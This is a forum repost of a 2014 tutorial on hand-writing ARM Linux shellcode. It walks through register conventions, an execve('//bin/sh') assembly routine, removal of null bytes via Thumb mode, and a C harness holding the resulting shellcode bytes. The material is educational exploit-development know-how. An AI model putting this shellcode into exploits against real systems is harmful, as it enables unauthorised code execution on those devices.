Jump to content
Nytro

ARM Architecture Shellcoding

Recommended Posts

Posted

ARM Architecture Shellcoding

by Anwar Mohamed - 05-10-2014


Introduction to the ARM architecture

ARM is a family of instruction set architectures for computer processors based on a reduced instruction set computing (RISC) architecture developed by British company ARM Holdings. Also it is the most widely used 32-bit instruction set architecture.

For a list of the ARM processor cores and handsets built on them, have a look at this link

ARM architecture today has some features that were derived from the old Berkeley RISC including a load-store architecture, fixed length 32-bit instructions and 3-address instruction formats.

The ARM architecture is also the most present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture including Linux (Used by Android), iOS (Used by iPhone & iPad) and Windows Phone 8 (Used by many Nokia-Lumia smartphones).

Register conventions

Register Alt. Name Usage

r0 a1 First function argument Integer function result Scratch register

r1 a2 Second function argument Scratch register

r2 a3 Third function argument Scratch register

r3 a4 Fourth function argument Scratch register

r4 v1 Register variable

r5 v2 Register variable

r6 v3 Register variable

r7 v4 Register variable

r8 v5 Register variable

r9 v6

rfp Register variable Real frame pointer

r10 sl Stack limit

r11 fp Argument pointer

r12 ip Temporary workspace

r13 sp Stack pointer

r14 lr Link register Workspace

r15 pc Program counter

Out of the 16 accessible registers there are 11 general-purpose registers and 5 special purpose registers, which are assigned specific names.

R11 is the frame pointer and holds the pointer to the current stack frame.

R12 is the Intra-procedure call scratch register used by a subroutine to store temporary data.

R13 is the stack pointer and holds the pointer to the top of the stack.

R14 is the link register holds the return addresses whenever a subroutine is called with a branch and link instruction.

R15 is the program counter and holds the address of the next instruction to be executed.

The arguments of a function are stored in registers r0 to r3. If the number of arguments is greater than 3 then the excess arguments are stored onto the stack.

Let's start by writing a shellcode called execve(). We first need to know the address of the syscall.

Note that we are using a Raspberry Pi to demonstrate this article.

~# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
#define __NR_kexec_load (__NR_SYSCALL_BASE+347)
We have [B]11[/B] for [B]_execve[/B]. We know that [B]_execve[/B] consumes three arguments:
execve(const char *filename, char *const argv[], char *const envp[])
Which gives us:
r0 => "//bin/sh\0"
r1 => "//bin/sh\0"
r2 => 0
r7 => 11

~# cat shell.s
.section .text
.global _start
_start:
mov r0, pc // place the address of pc in r0
add r0, #20 // add 20 to it (which then makes it point to //bin/sh)
str r0, [sp, #4] // place it on the stack
add r1, sp, #4 // move what was on the stack to r1
sub r2, r2, r2 // subtract r2 from itself (which is the same as placing 0 in r2)
mov r7, #11 // syscall execve in r7
svc 0 // execute

.ascii "//bin/sh\0"

~# as -o shell.o shell.s
~# ld -o shell shell.o
~# ./shell
~# exit
~#
~# strace ./shell
execve("./shell", ["./shell"], [/* 15 vars */]) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0

It worked however in order create our shellcode, we should have no null bytes, and our shellcode has many of them.

~# objdump -d shell
shell:
file format elf32-littlearm
Disassembly of section .text:

00008054 <_start>:
8054: e1a0000f mov r0, pc
8058: e2800014 add r0, r0, #20
805c: e58d0004 str r0, [sp, #4]
8060: e28d1004 add r1, sp, #4
8064: e0422002 sub r2, r2, r2
8068: e3a0700b mov r7, #11
806c: ef000000 svc 0x00000000
8070: 69622f2f .word 0x69622f2f
8074: 68732f6e .word 0x68732f6e
8078: 00 .byte 0x00
8079: 00 .byte 0x00

Under ARM, we have the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage.

~# cat shell.s
.section .text
.global _start
_start:
.code 32
add r6, pc, #1
bx r6

.code 16
mov r0, pc
add r0, #10
str r0, [sp, #4]
add r1, sp, #4
sub r2, r2, r2
mov r7, #11
svc 0

.ascii "//bin/sh\0"

~# as -mthumb -o shell.o shell.s
~# ld -o shell shell.o
~# ./shell

When compiling, use "-mthumb" to indicate that we are switching to "Thumb Mode". The value of the constant being added to r0 was changed. Instead of the original "add r0, #20", We are doing "add r0, #10" since we have now switched to "thumb mode", the address where our chain is at, has been halved.

~# objdump -d shell
shell:
file format elf32-littlearm
Disassembly of section .text:

00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df00 svc 0
806a: 2f2f .short 0x2f2f
806c: 2f6e6962 .word 0x2f6e6962
8070: 6873 .short 0x6873

So now we have to modify the following instruction: "svc 0". For SVC we will use "svc 1" which is perfect in this case.

~# cat shell.s
.section .text
.global _start
_start:
.code 32
add r6, pc, #1
bx r6

.code 16
mov r0, pc
add r0, #10
str r0, [sp, #4]
add r1, sp, #4
sub r2, r2, r2
mov r7, #11
svc 1

.ascii "//bin/sh\0"

~# as -mthumb -o shell.o shell.s
~# ld -o shell shell.o
~# strace ./shell
execve("./shell", ["./shell"], [/* 15 vars */]) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
~# exit
~#
~# objdump -d shell
shell:
file format elf32-littlearm
Disassembly of section .text:

00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f .short 0x2f2f
806c: 2f6e6962 .word 0x2f6e6962
8070: 6873 .short 0x6873

Here we are, we have got an operational shellcode without any null bytes. In C that gives us:

~# cat shell.c
#include <stdio.h>
#include <string.h>

char *shellcode =
"\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x78\x46"
"\x0a\x30"
"\x01\x90"
"\x01\xa9"
"\x92\x1a"
"\x0b\x27"
"\x01\xdf"
"\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68";

int main()
{
(*(void(*)()) shellcode)();
return 0;
}

~# gcc -o shell shell.c
~# ./shell
$
$

References

  1. The ARM Instruction Set
  2. Introduction to ARM Exploitation
  3. Shellstorm - Shellcoding in ARM Architecture

Sursa: anwarelmakrahy | ARM Architecture Shellcoding

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...